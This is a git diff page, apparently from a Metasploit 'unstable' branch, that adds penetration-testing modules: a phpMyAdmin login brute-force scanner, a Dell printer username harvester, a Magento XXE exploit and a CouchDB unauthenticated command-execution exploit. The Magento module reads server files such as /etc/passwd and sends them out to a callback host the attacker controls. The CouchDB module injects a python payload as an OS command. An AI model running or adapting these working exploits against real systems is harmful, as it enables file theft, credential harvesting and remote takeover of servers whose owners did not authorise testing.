Compare commits
290 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
| ba0ead6915 | |||
| 6412c66848 | |||
| aec434f4aa | |||
| 969abadba6 | |||
| d9efc8d803 | |||
| 34a5ce4816 | |||
| b893f17d2b | |||
| 55e22d7531 | |||
| 2715883fa2 | |||
| ffc730160b | |||
| 8841e3b5c7 | |||
| ad474f95bb | |||
| 7b740af67e | |||
| 8151a0dca7 | |||
| 6abff3aa30 | |||
| 24ad1aca52 | |||
| 3c629131ab | |||
| 7e511a280e | |||
| ec77b734ee | |||
| 33eac94f18 | |||
| 0e39bef70f | |||
| ec6540b806 | |||
| 70a85675f1 | |||
| 10f24ddd57 | |||
| ccd6a399c8 | |||
| febf5ef08f | |||
| 00d2756b63 | |||
| ca47bf553c | |||
| 0174506e07 | |||
| ef50d04258 | |||
| 9735b26b30 | |||
| 4551a5814d | |||
| 6401062fec | |||
| 809dfc0ac8 | |||
| a5fdd1d1f0 | |||
| 8c0facda4c | |||
| e2aa53d528 | |||
| 565967d649 | |||
| 9f668a9509 | |||
| 828eca0a92 | |||
| 6c7ab33f49 | |||
| aa063953f9 | |||
| a6ad51794d | |||
| 625d80ed6f | |||
| 91fedd16eb | |||
| dfb03c1dbe | |||
| fc07d83596 | |||
| 955929ee5c | |||
| 42bc9adcbf | |||
| 36202daf26 | |||
| d315f26bee | |||
| 696c909e82 | |||
| 2e3438f792 | |||
| cae6931015 | |||
| cd7bf454e3 | |||
| 48a1ff9f6b | |||
| 6c4d96a9b5 | |||
| 44694e84fe | |||
| 8f0b15c4e6 | |||
| 375aadcac9 | |||
| f1752cd47f | |||
| 8bbd3060da | |||
| bc6430b6d5 | |||
| 5ad9570ef8 | |||
| e597badd97 | |||
| 895aef65a9 | |||
| f054e22047 | |||
| 7e0aee396b | |||
| c42121fd70 | |||
| 13e148794c | |||
| 3256419d7e | |||
| 62ac43d2db | |||
| b10cbe4fab | |||
| ace51a6fff | |||
| 2fbde41050 | |||
| 8771a79e45 | |||
| e28898a214 | |||
| af1458a9b8 | |||
| ef82b78014 | |||
| 273fc03807 | |||
| f8e34598ce | |||
| 00527019b2 | |||
| 95e0c136b8 | |||
| 927e35b4fc | |||
| b27dcf7425 | |||
| b144788379 | |||
| 2f4ec1f33f | |||
| d61c7383d0 | |||
| 5831242522 | |||
| 4335e569e7 | |||
| c5f52ba0b1 | |||
| a679411751 | |||
| 3356d75da8 | |||
| 84ddb259e3 | |||
| 73f43686a0 | |||
| 1836d3e17b | |||
| aa53c3ba88 | |||
| 1b2c5392f4 | |||
| a896b71340 | |||
| 70f8405fc6 | |||
| 12bed05b8e | |||
| cbffc31bbf | |||
| 4a77f6d543 | |||
| 19584083e7 | |||
| 5e082f8e69 | |||
| b7b5190bf2 | |||
| 1db53a6f25 | |||
| 066c58853a | |||
| 7b197b24c8 | |||
| bb3856a810 | |||
| 88297814a1 | |||
| db0b273c50 | |||
| 73e5bb5dc2 | |||
| 224ee713ef | |||
| 71fe21eb24 | |||
| a523a4975f | |||
| c7036ec905 | |||
| 90991f102b | |||
| ef1b6e024d | |||
| 61d6e1071f | |||
| 75deaf4067 | |||
| c0ef55071b | |||
| fde85af26e | |||
| 03f527c8a0 | |||
| 961003f61d | |||
| e510523fe9 | |||
| 9a1ebf424d | |||
| 7106afdf7d | |||
| 183913b690 | |||
| 6ce5880bdc | |||
| 313d6f666d | |||
| d3f7e0344f | |||
| dce4e5a011 | |||
| 6bb008a0ed | |||
| 2a02bc38c4 | |||
| 1d3aec5220 | |||
| 2ec2e4595e | |||
| e00c79a4cc | |||
| 8595230eb0 | |||
| dbe731f111 | |||
| e3e1e14d2d | |||
| ad29d2096d | |||
| 18b6e2781c | |||
| b166b4ba2a | |||
| 147e18ba6a | |||
| 0b06ce432b | |||
| 0881bebc7a | |||
| e285bdfbb2 | |||
| 107d63b98f | |||
| b25e2a319a | |||
| 2c1fc9123d | |||
| dd15cfa5c0 | |||
| 5f728909f4 | |||
| 032dcd2472 | |||
| a67ae3bc14 | |||
| 1278c03e49 | |||
| 13dd49d1a6 | |||
| e4965ad56b | |||
| 1e19620df6 | |||
| 0b4840b45e | |||
| 02598d5e62 | |||
| 15fdc3478e | |||
| c936c3f30d | |||
| f5348a13f4 | |||
| 3a1009cd0f | |||
| f8fe1d1275 | |||
| 803b3da33b | |||
| 549e430191 | |||
| 0519376c46 | |||
| 04032a712b | |||
| bd1e39dc2b | |||
| cb3e6add9a | |||
| 116cae37ef | |||
| d9d59a7164 | |||
| cbf29db377 | |||
| 8754998e84 | |||
| 740295e83f | |||
| f4467819cf | |||
| 39a9f2603d | |||
| 1203496611 | |||
| 19ab9e3089 | |||
| 4765009259 | |||
| cad6fee858 | |||
| d30a649e0c | |||
| 9cf88abe23 | |||
| 018af4efe2 | |||
| 442195d988 | |||
| 9ce2af1700 | |||
| 850fa29513 | |||
| e421631799 | |||
| 65fe03c9d0 | |||
| ad7588c8ef | |||
| 634d4aa07e | |||
| 7bc3192a77 | |||
| ba8d3e5296 | |||
| 91367ecbc9 | |||
| ae297906bd | |||
| b784b48d02 | |||
| 34b3bb6d07 | |||
| 61cee1dacd | |||
| abf2b68b63 | |||
| 465a6f3b98 | |||
| 93bfd9fce7 | |||
| 5690cb5d19 | |||
| e926f9ca82 | |||
| 742c3b48ca | |||
| 040936ed6b | |||
| 395caafefa | |||
| 69c16b3c7d | |||
| bdf91b0060 | |||
| fb4f65ddfd | |||
| 0635e4542f | |||
| 410f81f0ea | |||
| c5d3887da5 | |||
| 8653c77279 | |||
| 2d7b2a57b2 | |||
| 88bcf430d3 | |||
| 790108045f | |||
| 84fee2683b | |||
| f076233f58 | |||
| 746e698585 | |||
| 2cdcba65f5 | |||
| 8d81eb9280 | |||
| a1d0f2eb1d | |||
| f4bea53bd1 | |||
| 29cb03140e | |||
| 84169a8cb1 | |||
| 48e96e757f | |||
| 595df442a2 | |||
| f9a18cd655 | |||
| 2ac59b27bb | |||
| f3e060294c | |||
| 32ccbbbe45 | |||
| dfed9e2864 | |||
| e18f4dd40e | |||
| 76dad50dd7 | |||
| 67e16aed62 | |||
| db447932c0 | |||
| 5dbb395e24 | |||
| 2477978613 | |||
| e7974c50bb | |||
| 83ee6f65ef | |||
| cb6e187a39 | |||
| 2765cf1ad7 | |||
| 30f958206e | |||
| 4fc5b143f8 | |||
| 5af77686ab | |||
| 2369ee9dc9 | |||
| 26e86e97cd | |||
| e726e35144 | |||
| 91dca74f85 | |||
| 1e04d27e52 | |||
| bd9e1f8d76 | |||
| 10c9200d8e | |||
| d8f3bbc35e | |||
| b73f28f295 | |||
| f737643447 | |||
| 60520ccc8c | |||
| 66c55cfc6d | |||
| c0e762335e | |||
| ef7246f409 | |||
| 6a5ccf7c1e | |||
| ebbf2f48d2 | |||
| 4bb959e504 | |||
| 1298377f04 | |||
| 8ca20488bc | |||
| f11aed7175 | |||
| 8f8c10171d | |||
| 7fe6b31354 | |||
| 391752d815 | |||
| b9b33afbde | |||
| 2645b34a5a | |||
| 13b401558c | |||
| 27fe357478 | |||
| 992ab6ba38 | |||
| d2b7c83d7d | |||
| 0a7cf7d625 | |||
| db83e02705 | |||
| 4b51535616 | |||
| 6d6220f402 | |||
| 9a4d105aed | |||
| fe849d665a | |||
| 8a36bf7d09 | |||
| cf6445a21c | |||
| 115dcd275f | |||
| cbca39032b | |||
| bd63c76823 | |||
| 3e3e46700f | |||
| 3d18c26fd9 | |||
| ddcb01d77e |
@@ -0,0 +1,27 @@
|
||||
**This should never appear in Metasploit Framework's master branch!**
|
||||
|
||||
The components under the unstable-* directories are unstable, in that
|
||||
they are untested, unverified, or otherwise incomplete. Many may be
|
||||
useful, but all require some level of work to get into the Metasploit
|
||||
master branch.
|
||||
|
||||
In order to load the modules specifically, use:
|
||||
|
||||
$ ./msfconsole -m unstable-modules/
|
||||
|
||||
Unstable scripts and plugins may be referenced by full pathname
|
||||
normally.
|
||||
|
||||
In order to help move these out of unstable and into the master
|
||||
branch, please fork the Metasploit framework project and send pull
|
||||
requests with your fixes back to the unstable branch. If you're
|
||||
reading this, you already probably have a GitHub account and are
|
||||
already familiar with the mechanics of forking and branching.
|
||||
Specifically, you probably know everything discussed on:
|
||||
|
||||
https://github.com/rapid7/metasploit-framework/wiki
|
||||
|
||||
Thanks for taking a look at these unstable modules!
|
||||
|
||||
- Tod Beardsley, todb[at]metasploit[dot]com
|
||||
|
||||
@@ -9,10 +9,25 @@ function ajax_download(oArg) {
|
||||
xmlHttp.overrideMimeType("text/plain; charset=x-user-defined");
|
||||
}
|
||||
|
||||
xmlHttp.open(oArg.method, oArg.path, false);
|
||||
xmlHttp.send(oArg.data);
|
||||
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
|
||||
return xmlHttp.responseText;
|
||||
xmlHttp.open(oArg.method, oArg.path, !!oArg.cb);
|
||||
|
||||
if (oArg.cb) {
|
||||
xmlHttp.onreadystatechange = function() {
|
||||
if (xmlHttp.readyState == 4) {
|
||||
oArg.cb.apply(this);
|
||||
}
|
||||
};
|
||||
|
||||
xmlHttp.send(oArg.data);
|
||||
}
|
||||
return null;
|
||||
else {
|
||||
xmlHttp.send(oArg.data);
|
||||
if (xmlHttp.readyState == 4 && xmlHttp.status == 200) {
|
||||
return xmlHttp.responseText;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
return xmlHttp;
|
||||
}
|
||||
@@ -0,0 +1,158 @@
|
||||
require 'metasploit/framework/login_scanner/http'
|
||||
|
||||
module Metasploit
|
||||
module Framework
|
||||
module LoginScanner
|
||||
|
||||
class PhpMyAdmin < HTTP
|
||||
DEFAULT_PORT = 4848
|
||||
PRIVATE_TYPES = [ :password ]
|
||||
LOGIN_STATUS = Metasploit::Model::Login::Status # shorter name
|
||||
|
||||
# @!attribute php_my_admin
|
||||
# @return [String] cookie pma à mettre dans la prochaine requete
|
||||
attr_accessor :php_my_admin
|
||||
|
||||
# @!attribute token
|
||||
# @return [String] token requete
|
||||
attr_accessor :token
|
||||
|
||||
# @!attribute pmaUser_1
|
||||
# @return [String] pmaUser-1 cookie a mettre dans la requete
|
||||
attr_accessor :pmaUser_1
|
||||
|
||||
# @!attribute pmaPass_1
|
||||
# @return [String] pmaPass-1 cookie a mettre dans la requete
|
||||
attr_accessor :pmaPass_1
|
||||
|
||||
# (see Base#check_setup)
|
||||
def check_setup
|
||||
begin
|
||||
res = send_request({'uri' => uri})
|
||||
return "Connection failed" if res.nil?
|
||||
if !([200, 302].include?(res.code))
|
||||
return "Unexpected HTTP response code #{res.code} (is this really phpMyAdmin ?)"
|
||||
end
|
||||
|
||||
rescue ::EOFError, Errno::ETIMEDOUT, Rex::ConnectionError, ::Timeout::Error
|
||||
return "Unable to connect to target"
|
||||
end
|
||||
|
||||
true
|
||||
end
|
||||
|
||||
# Sends a HTTP request with Rex
|
||||
#
|
||||
# @param (see Rex::Proto::Http::Resquest#request_raw)
|
||||
# @return [Rex::Proto::Http::Response] The HTTP response
|
||||
def send_request(opts)
|
||||
cli = Rex::Proto::Http::Client.new(host, port, {'Msf' => framework, 'MsfExploit' => framework_module}, ssl, ssl_version, proxies)
|
||||
configure_http_client(cli)
|
||||
cli.connect
|
||||
req = cli.request_raw(opts)
|
||||
res = cli.send_recv(req)
|
||||
|
||||
# Found a cookie? Set it. We're going to need it.
|
||||
if self.php_my_admin == '' && res && res.get_cookies =~ /(phpMyAdmin=[a-z0-9]+;)/i
|
||||
self.php_my_admin = res.get_cookies.match(/ (phpMyAdmin=[a-z0-9]+;)/)[1]
|
||||
end
|
||||
if self.pmaPass_1 == '' && res && res.get_cookies =~ /(pmaPass-1=[a-zA-Z0-9%]+;)/i
|
||||
self.pmaPass_1 = $1
|
||||
end
|
||||
if self.pmaUser_1 == '' && res && res.get_cookies =~ /(pmaUser-1=[a-zA-Z0-9%]+;)/i
|
||||
self.pmaUser_1 = $1
|
||||
end
|
||||
if self.token == ''
|
||||
tokens = res.body.match(/<input type="hidden" name="token" value="(\w+)"/)
|
||||
self.token = (tokens.nil?) ? '' : tokens[-1]
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
|
||||
# Sends a login request
|
||||
#
|
||||
# @param credential [Metasploit::Framework::Credential] The credential object
|
||||
# @return [Rex::Proto::Http::Response] The HTTP auth response
|
||||
def do_login(username, password)
|
||||
# on recupere les cookies/token
|
||||
send_request({'uri' => "#{uri}index.php"})
|
||||
|
||||
data = "pma_username=#{username}&"
|
||||
data << "pma_password=#{password}&"
|
||||
data << "token=#{self.token}"
|
||||
|
||||
opts = {
|
||||
'uri' => "#{uri}index.php",
|
||||
'method' => 'POST',
|
||||
'data' => data,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Cookie' => "#{self.pmaUser_1} #{self.php_my_admin}",
|
||||
}
|
||||
}
|
||||
|
||||
res = send_request(opts)
|
||||
if is_logged_in
|
||||
return {:status => LOGIN_STATUS::SUCCESSFUL, :proof => self.pmaPass_1}
|
||||
end
|
||||
|
||||
return {:status => LOGIN_STATUS::INCORRECT, :proof => res.to_s}
|
||||
|
||||
end
|
||||
|
||||
|
||||
def is_logged_in
|
||||
url_verif = "#{uri}index.php?token=#{self.token}"
|
||||
|
||||
cookies = "#{self.pmaPass_1} #{self.pmaUser_1} #{self.php_my_admin}"
|
||||
|
||||
res = send_request({
|
||||
'uri' => url_verif,
|
||||
'headers' => {
|
||||
'Content-Type' => 'application/x-www-form-urlencoded',
|
||||
'Cookie' => cookies
|
||||
}
|
||||
})
|
||||
|
||||
return (res.body.include? 'Log out')
|
||||
end
|
||||
|
||||
|
||||
# Attemps to login to the server.
|
||||
#
|
||||
# @param [Metasploit::Framework::Credential] credential The credential information.
|
||||
# @return [Result] A Result object indicating success or failure
|
||||
def attempt_login(credential)
|
||||
# Default Result
|
||||
result_opts = {
|
||||
credential: credential,
|
||||
status: Metasploit::Model::Login::Status::INCORRECT,
|
||||
proof: nil,
|
||||
host: host,
|
||||
port: port,
|
||||
protocol: 'tcp'
|
||||
}
|
||||
|
||||
self.php_my_admin = ''
|
||||
self.pmaUser_1 = ''
|
||||
self.pmaPass_1 = ''
|
||||
self.token = ''
|
||||
# Merge login result
|
||||
begin
|
||||
result_opts.merge!(do_login(credential.public, credential.private))
|
||||
rescue ::Rex::ConnectionError => e
|
||||
# Something went wrong during login. 'e' knows what's up.
|
||||
result_opts.merge!(status: LOGIN_STATUS::UNABLE_TO_CONNECT, proof: e.message)
|
||||
end
|
||||
|
||||
# Return the Result object
|
||||
return Result.new(result_opts)
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
@@ -122,4 +122,17 @@ module Msf::Exploit::Remote::HTTP::Wordpress::URIs
|
||||
normalize_uri(target_uri.path, 'xmlrpc.php')
|
||||
end
|
||||
|
||||
# Returns the WordPress plugin installer URL
|
||||
#
|
||||
# @return [String] WordPress plugin installer URL
|
||||
def wordpress_url_plugin_install
|
||||
normalize_uri(wordpress_url_backend, 'plugin-install.php')
|
||||
end
|
||||
|
||||
# Returns the WordPress new user URL
|
||||
#
|
||||
# @return [String] WordPress new user URL
|
||||
def wordpress_url_new_user
|
||||
normalize_uri(wordpress_url_backend, 'user-new.php')
|
||||
end
|
||||
end
|
||||
|
||||
@@ -0,0 +1,127 @@
|
||||
#
|
||||
# This module requires Metasploit: http//metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Auxiliary::Report
|
||||
include Msf::Auxiliary::Scanner
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Dell MFP 3115n Color Job Username Enumerator',
|
||||
'Description' => %{
|
||||
This module is used to harvests the usernames from the color job log file on a Dell MFP 3115cn.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Deral "Percentx" Heiland',
|
||||
'Pete "Bokojan" Arzamendi'
|
||||
],
|
||||
'License' => MSF_LICENSE
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptBool.new('SSL', [true, 'Negotiate SSL for outgoing connections', false]),
|
||||
OptPort.new('RPORT', [ true, 'The target port where the printers web admin interface is', 80]),
|
||||
OptInt.new('TIMEOUT', [true, 'Timeout for printer probe. How long we are going to wait before we give up', 20])
|
||||
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def run_host(ip)
|
||||
print_status("Attempting to enumerate usernames from: #{peer}")
|
||||
|
||||
users = pull_usernames
|
||||
return if users.blank?
|
||||
|
||||
print_status('Finished extracting usernames')
|
||||
usernames = ''
|
||||
users.each do |user|
|
||||
usernames << user << "\n"
|
||||
end
|
||||
|
||||
# Woot we got usernames so lets save them.
|
||||
print_good("Found the following users: #{users}")
|
||||
loot_name = 'dell.mfp.usernames'
|
||||
loot_type = 'text/plain'
|
||||
loot_filename = 'dell-usernames.text'
|
||||
loot_desc = 'Dell MFP Username Harvester'
|
||||
p = store_loot(loot_name, loot_type, ip, usernames, loot_filename, loot_desc)
|
||||
print_status("Credentials saved in: #{p}")
|
||||
|
||||
users.each do | user |
|
||||
register_creds('DELL-HTTP', ip, '80', user, '')
|
||||
end
|
||||
end
|
||||
|
||||
def pull_usernames
|
||||
usernames = []
|
||||
|
||||
begin
|
||||
res = send_request_cgi(
|
||||
{
|
||||
'uri' => '/ews/job/log.htm',
|
||||
'method' => 'GET'
|
||||
}, datastore['TIMEOUT'].to_i)
|
||||
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Rex::ConnectionError
|
||||
print_error("#{peer} - Connection failed.")
|
||||
return []
|
||||
end
|
||||
|
||||
if res == nil?
|
||||
print_error("#{peer} - Connection failed.")
|
||||
return []
|
||||
end
|
||||
|
||||
html_body = ::Nokogiri::HTML(res.body)
|
||||
record_total = html_body.xpath('/html/body/table/tr/td/table[3]/tr/td/table/td').length
|
||||
record_loop = (record_total / 10)
|
||||
|
||||
i = 13
|
||||
print_status('Trying to extract usernames')
|
||||
while record_loop > 0
|
||||
tr_name = html_body.xpath("/html/body/table/tr/td/table[3]/tr/td/table/td[#{i}]").text
|
||||
usernames << tr_name.strip unless tr_name.blank?
|
||||
|
||||
i += 10
|
||||
record_loop -= 1
|
||||
end
|
||||
usernames.uniq!
|
||||
end
|
||||
|
||||
def register_creds(service_name, remote_host, remote_port, username, password)
|
||||
credential_data = {
|
||||
origin_type: :service,
|
||||
module_fullname: self.fullname,
|
||||
workspace_id: myworkspace.id,
|
||||
private_data: password,
|
||||
username: username,
|
||||
password: password
|
||||
}
|
||||
|
||||
service_data = {
|
||||
address: remote_host,
|
||||
port: remote_port,
|
||||
service_name: service_name,
|
||||
protocol: 'tcp',
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
credential_data.merge!(service_data)
|
||||
credential_core = create_credential(credential_data)
|
||||
|
||||
login_data = {
|
||||
core: credential_core,
|
||||
status: Metasploit::Model::Login::Status::UNTRIED,
|
||||
workspace_id: myworkspace_id
|
||||
}
|
||||
|
||||
login_data.merge!(service_data)
|
||||
create_credential_login(login_data)
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,120 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Auxiliary
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::Remote::HttpServer::HTML
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'Magento External Entity Injection',
|
||||
'Description' => %q(
|
||||
This module abuses an XML External Entity Injection
|
||||
vulnerability in Magento <= 1.9.2. More precisely, the
|
||||
vulnerability is in the Zend Framework.
|
||||
|
||||
In short, the Zend Framework XXE vulnerability stems from an insufficient
|
||||
sanitisation of untrusted XML data on systems that use PHP-FPM to serve PHP
|
||||
applications.
|
||||
By using certain multibyte encodings within XML, it is possible to bypass
|
||||
the sanitisation and perform certain XXE attacks.
|
||||
|
||||
Since eBay Magento is based on Zend Framework and uses several of its XML
|
||||
classes, it also inherits this XXE vulnerability.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'Dawid Golunski', # Vulnerability discovery and original exploit
|
||||
'Julien (jvoisin) Voisin' # Metasploit module
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '38573' ],
|
||||
[ 'CVE', '2015-5161'],
|
||||
[ 'BID', '76177'],
|
||||
[ 'URL', 'http://legalhackers.com/advisories/eBay-Magento-XXE-Injection-Vulnerability.txt' ],
|
||||
[ 'URL', 'http://legalhackers.com/advisories/zend-framework-XXE-vuln.txt' ],
|
||||
[ 'URL', 'http://framework.zend.com/security/advisory/ZF2015-06' ]
|
||||
],
|
||||
'DisclosureDate' => 'Oct 29 2015'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base Magento directory path", '/']),
|
||||
OptString.new('FILEPATH', [true, "The filepath to read on the server", "/etc/passwd"]),
|
||||
OptString.new('URIPATH', [true, "The URI path to use for this exploit to get the data back", "fetch.php"]),
|
||||
OptString.new('HTTP_DELAY', [true, "The URI path to use for this exploit to get the data back", 10])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def xml_file
|
||||
dtd = Rex::Text.rand_text_alpha(5)
|
||||
send = Rex::Text.rand_text_alpha(5)
|
||||
file = Rex::Text.rand_text_alpha(5)
|
||||
all = Rex::Text.rand_text_alpha(5)
|
||||
|
||||
payload = "<?xml version=\"1.0\" encoding=\"UTF-8\"?>"
|
||||
payload << "<!ENTITY % #{all} \"<!ENTITY % #{send} SYSTEM 'php://filter/read=/resource=http://"
|
||||
payload << "#{datastore['SRVHOST']}:#{datastore['SRVPORT']}"
|
||||
payload << "/#{datastore['URIPATH']}?#{@param_name}=%#{file};'>\"> %#{all};"
|
||||
|
||||
payload = Rex::Text.encode_base64(payload)
|
||||
|
||||
final_payload = "<?xml version=\"1.0\" encoding=\"UTF-16\"?>"
|
||||
final_payload << "<!DOCTYPE #{Rex::Text.rand_text_alpha(5)} ["
|
||||
final_payload << "<!ENTITY % #{file} SYSTEM \"php://filter/convert.base64-encode/resource="
|
||||
final_payload << "#{datastore['FILEPATH']}\">"
|
||||
final_payload << "<!ENTITY % #{dtd} SYSTEM \"data://text/plain;base64,#{payload}\"> %#{dtd}; %#{send};"
|
||||
final_payload << "]>"
|
||||
|
||||
Rex::Text.to_unicode(final_payload)
|
||||
end
|
||||
|
||||
def check
|
||||
res = send_request_cgi({ 'uri' => target_uri.path })
|
||||
return unless res
|
||||
return Exploit::CheckCode::Appears if res.body =~ /201[01234] Magento/
|
||||
return Exploit::CheckCode::Detected if res.body.include?('Magento')
|
||||
end
|
||||
|
||||
def run
|
||||
@param_name = Rex::Text.rand_text_alpha(4 + rand(4))
|
||||
exploit
|
||||
end
|
||||
|
||||
def primer
|
||||
res = send_request_raw(
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(target_uri, 'index.php/api/soap/index'),
|
||||
'data' => xml_file
|
||||
)
|
||||
|
||||
if res.code != 500
|
||||
print_warning "It seems that this instance is not vulnerable"
|
||||
end
|
||||
|
||||
service.stop
|
||||
end
|
||||
|
||||
def decode_answer(request)
|
||||
query_string = request.uri_parts['QueryString']
|
||||
param = query_string[@param_name]
|
||||
Rex::Text.decode_base64(param)
|
||||
end
|
||||
|
||||
def on_request_uri(_cli, request)
|
||||
print_status "Got an answer from the server."
|
||||
content = decode_answer(request)
|
||||
store(content)
|
||||
end
|
||||
|
||||
def store(data)
|
||||
path = store_loot("magento.file", "text/plain", rhost, data, datastore['FILEPATH'])
|
||||
print_good("File #{datastore['FILEPATH']} found and saved to path: #{path}")
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,162 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::CmdStager
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'CouchDB Unauthentication Remote Command Execution',
|
||||
'Description' => %q{
|
||||
This module exploits a misconfiguration in CouchDB. If CouchDB api
|
||||
without authentication, attackers can execute os commands with
|
||||
the query_servers option in local.ini.
|
||||
},
|
||||
'Author' => [
|
||||
'Nixawk', # original metasploit module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'URL', 'http://blog.rot13.org/2010/11/triggers-in-couchdb-from-queue-to-external-command-execution.html' ],
|
||||
[ 'URL', 'https://www.seebug.org/vuldb/ssvid-91389' ],
|
||||
[ 'URL', 'http://docs.couchdb.org/en/1.6.1/api/server/configuration.html' ]
|
||||
],
|
||||
'Platform' => %w{ python },
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Python', { 'Arch' => ARCH_PYTHON, 'Platform' => 'python' }]
|
||||
],
|
||||
'DisclosureDate' => 'Nov 23 2010',
|
||||
'DefaultTarget' => 0
|
||||
))
|
||||
|
||||
register_options(
|
||||
[
|
||||
Opt::RPORT(5984),
|
||||
OptString.new('TARGETURI', [ true, 'The path to a default couchDB api', '/'])
|
||||
], self.class)
|
||||
end
|
||||
|
||||
def unauth?
|
||||
uri = normalize_uri(datastore['TARGETURI'], '_config')
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => 'GET'
|
||||
)
|
||||
return false unless resp
|
||||
json_data = resp.get_json_document
|
||||
return false if json_data.empty?
|
||||
resp.code == 200 && json_data.key?('couchdb')
|
||||
end
|
||||
|
||||
def config_query_servers?(cmd)
|
||||
uri = normalize_uri(datastore['TARGETURI'], "_config/query_servers/#{@key}")
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => 'PUT',
|
||||
'data' => "\"#{cmd}\""
|
||||
)
|
||||
return false unless resp
|
||||
resp.code == 200 && resp.body.include?("\"\"\n")
|
||||
end
|
||||
|
||||
def create_database?
|
||||
uri = normalize_uri(datastore['TARGETURI'], @dbname)
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => 'PUT'
|
||||
)
|
||||
return false unless resp
|
||||
json_data = resp.get_json_document
|
||||
return false if json_data.empty?
|
||||
resp.code == 201 && json_data.key?('ok') && json_data['ok']
|
||||
end
|
||||
|
||||
def create_database_key_value?
|
||||
data = "{\"#{@key}\": \"#{@value}\"}"
|
||||
uri = normalize_uri(datastore['TARGETURI'], @dbname, @key)
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => 'PUT',
|
||||
'data' => data
|
||||
)
|
||||
return false unless resp
|
||||
json_data = resp.get_json_document
|
||||
return false if json_data.empty?
|
||||
resp.code == 201 && json_data.key?('ok') && json_data['ok']
|
||||
end
|
||||
|
||||
def query_database?
|
||||
uri = normalize_uri(datastore['TARGETURI'], @dbname, '_temp_view?limit=11')
|
||||
data = "{\"language\":\"#{@key}\",\"map\":\"\"}"
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => 'POST',
|
||||
'ctype' => 'application/json',
|
||||
'data' => data
|
||||
)
|
||||
return false unless resp
|
||||
json_data = resp.get_json_document
|
||||
return false if json_data.empty?
|
||||
resp.code == 500 && json_data.key?('error')
|
||||
end
|
||||
|
||||
def delete_database?
|
||||
uri = normalize_uri(datastore['TARGETURI'], @dbname)
|
||||
resp = send_request_cgi(
|
||||
'uri' => uri,
|
||||
'method' => 'DELETE'
|
||||
)
|
||||
return false unless resp
|
||||
json_data = resp.get_json_document
|
||||
return false if json_data.empty?
|
||||
resp.code == 200 && json_data.key?('ok') && json_data['ok']
|
||||
end
|
||||
|
||||
def execute_command(cmd, opts = {})
|
||||
@dbname = rand_text_alpha_lower(16)
|
||||
@key = rand_text_alpha_lower(16)
|
||||
@value = rand_text_alpha_lower(16)
|
||||
|
||||
vprint_status("#{peer} - config query_servers to add commands")
|
||||
return unless config_query_servers?(cmd)
|
||||
|
||||
vprint_status("#{peer} - create a databse")
|
||||
return unless create_database?
|
||||
|
||||
vprint_status("#{peer} - create a database key/value pair")
|
||||
return unless create_database_key_value?
|
||||
|
||||
vprint_status("#{peer} - query database to execute command")
|
||||
query_database?
|
||||
|
||||
vprint_status("#{peer} - delete database")
|
||||
delete_database?
|
||||
end
|
||||
|
||||
def check
|
||||
if unauth?
|
||||
Exploit::CheckCode::Appears
|
||||
else
|
||||
Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
|
||||
def exploit
|
||||
return unless unauth?
|
||||
|
||||
case target['Platform']
|
||||
when 'python'
|
||||
print_status("#{peer} - Sending python payload...")
|
||||
execute_command("python -c \\\"#{payload.encoded}\\\"")
|
||||
end
|
||||
end
|
||||
end
|
||||
@@ -0,0 +1,329 @@
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'rex'
|
||||
require 'rubygems/package'
|
||||
require 'rexml/document'
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
